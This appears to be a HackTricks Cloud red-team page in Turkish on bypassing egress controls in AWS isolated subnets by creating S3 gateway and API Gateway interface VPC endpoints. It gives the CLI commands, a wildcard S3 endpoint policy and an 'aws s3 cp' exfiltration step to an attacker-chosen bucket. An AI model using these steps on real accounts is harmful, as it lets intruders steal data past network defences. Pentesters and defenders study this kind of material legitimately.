AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Özet
Bu teknik, Internet Gateways veya NAT olmayan subnets’lerden exfiltration channels oluşturmak için VPC Endpoints’i kötüye kullanır. Gateway endpoints (ör. S3) subnet route tables içine prefix‑list rotaları ekler; Interface endpoints (ör. execute-api, secretsmanager, ssm, vb.) security groups ile korunan private IP’lere sahip reachable ENI’ler oluşturur. Minimal VPC/EC2 izinleri ile bir saldırgan, public Internet üzerinden gitmeyen kontrollü bir egress etkinleştirebilir.
Önkoşullar: mevcut VPC ve private subnets (no IGW/NAT). VPC endpoints oluşturma izinlerine ve, Option B için, endpoint ENIs’e iliştirilecek bir security group’a ihtiyacınız olacak.
Seçenek A – S3 Gateway VPC Endpoint
Değişkenler
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- İsteğe bağlı olarak izin verici bir endpoint policy dosyası oluşturun.
allow-put-get-any-s3.jsonolarak kaydedin:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- S3 Gateway endpoint oluşturun (seçili route tables’lere S3 prefix‑list route ekler):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
Yakalanacak kanıtlar:
aws ec2 describe-route-tables --route-table-ids $RTB_IDSkomutu, AWS S3 prefix listesine giden bir rota gösterir (ör.DestinationPrefixListId=pl-..., GatewayId=vpce-...).- Bu alt ağlardaki bir instance’dan (with IAM perms) İnternet olmadan S3 üzerinden exfil yapabilirsiniz:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
Seçenek B – Interface VPC Endpoint for API Gateway (execute-api)
Değişkenler
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- Interface endpoint oluşturun ve SG’yi iliştirin:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
Toplanacak kanıtlar:
aws ec2 describe-vpc-endpointsendpoint’inavailabledurumda olduğunu veNetworkInterfaceIds(subnet’lerinizdeki ENI’ler) gösterir.- Bu subnet’lerdeki instance’lar, bu VPCE ENI’leri üzerinden Private API Gateway endpoint’lerine erişebilir (İnternet yolu gerekmez).
Etki
- Perimeter egress controls’u, AWS‑managed private paths to AWS services’i kullanarak atlar.
- İzole subnet’lerden data exfiltration yapılmasına olanak tanır (ör. S3’e yazma; Private API Gateway çağırma; Secrets Manager/SSM/STS’ye erişme, vb.) IGW/NAT olmadan.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

